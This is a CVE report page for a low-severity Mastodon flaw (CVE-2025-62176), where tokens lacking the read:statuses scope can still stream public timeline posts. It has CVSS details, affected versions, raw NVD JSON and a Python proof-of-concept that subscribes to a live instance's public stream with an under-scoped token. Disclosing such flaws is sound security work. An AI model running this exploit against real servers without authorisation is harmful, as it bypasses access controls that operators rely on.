Security Vulnerability Report
中文
CVE-2025-62176 CVSS 4.3 MEDIUM

CVE-2025-62176

Published: 2025-10-13 21:15:35
Last Modified: 2025-10-20 17:19:19

Description

Mastodon is a free, open-source social network server based on ActivityPub. In Mastodon before 4.4.6, 4.3.14, and 4.2.27, the streaming server accepts serving events for public timelines to clients using any valid authentication token, even if those tokens lack the read:statuses scope. This allows OAuth clients without the read scope to subscribe to public channels and receive public timeline events. The impact is limited, as this only affects new public posts published on the public timelines and requires an otherwise valid token, but this may lead to unexpected access to public posts in a limited-federation setting. This issue has been patched in versions 4.4.6, 4.3.14, and 4.2.27. No known workarounds exist.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
Mastodon < 4.2.27
Mastodon 4.3.x < 4.3.14
Mastodon 4.4.x < 4.4.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62176 PoC - Mastodon Streaming Server Scope Bypass # This PoC demonstrates how an OAuth token without 'read:statuses' scope # can still subscribe to public timeline streams. import websocket import json import requests # Step 1: Obtain a valid OAuth token without 'read:statuses' scope # (e.g., a token with only 'read:accounts' or 'write:statuses' scope) MASTODON_INSTANCE = "https://mastodon.social" ACCESS_TOKEN = "YOUR_VALID_OAUTH_TOKEN_WITHOUT_READ_STATUSES_SCOPE" # Step 2: Connect to the streaming server's public channel streaming_url = f"wss://{MASTODON_INSTANCE.replace('https://', '')}/api/v1/streaming" ws = websocket.create_connection( streaming_url, header={"Authorization": f"Bearer {ACCESS_TOKEN}"} ) # Step 3: Subscribe to the public timeline subscribe_message = json.dumps({ "type": "subscribe", "stream": "public" }) ws.send(subscribe_message) # Step 4: Receive public timeline events (should not be allowed without scope) print("Listening to public timeline events...") while True: result = ws.recv() event = json.loads(result) if event.get("event") == "update": payload = json.loads(event["payload"]) print(f"New public post received: {payload.get('content', '')[:100]}") elif event.get("event") == "delete": print(f"Post deleted: {event['payload']}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62176", "sourceIdentifier": "[email protected]", "published": "2025-10-13T21:15:35.093", "lastModified": "2025-10-20T17:19:19.397", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mastodon is a free, open-source social network server based on ActivityPub. In Mastodon before 4.4.6, 4.3.14, and 4.2.27, the streaming server accepts serving events for public timelines to clients using any valid authentication token, even if those tokens lack the read:statuses scope. This allows OAuth clients without the read scope to subscribe to public channels and receive public timeline events. The impact is limited, as this only affects new public posts published on the public timelines and requires an otherwise valid token, but this may lead to unexpected access to public posts in a limited-federation setting. This issue has been patched in versions 4.4.6, 4.3.14, and 4.2.27. No known workarounds exist."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-280"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.27", "matchCriteriaId": "5AFD1281-DEE1-421D-B62B-8D9727428763"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.0", "versionEndExcluding": "4.3.14", "matchCriteriaId": "CE867F92-59FF-4768-974B-D4BDF71B1FFA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.6", "matchCriteriaId": "6F6F2EB3-8C86-417E-8D7B-499438B63D61"}]}]}], "references": [{"url": "https://github.com/mastodon/mastodon/commit/7e98fa9b476fdaed235519f1d527eb956004ba0c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mastodon/mastodon/security/advisories/GHSA-7gwh-mw97-qjgp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}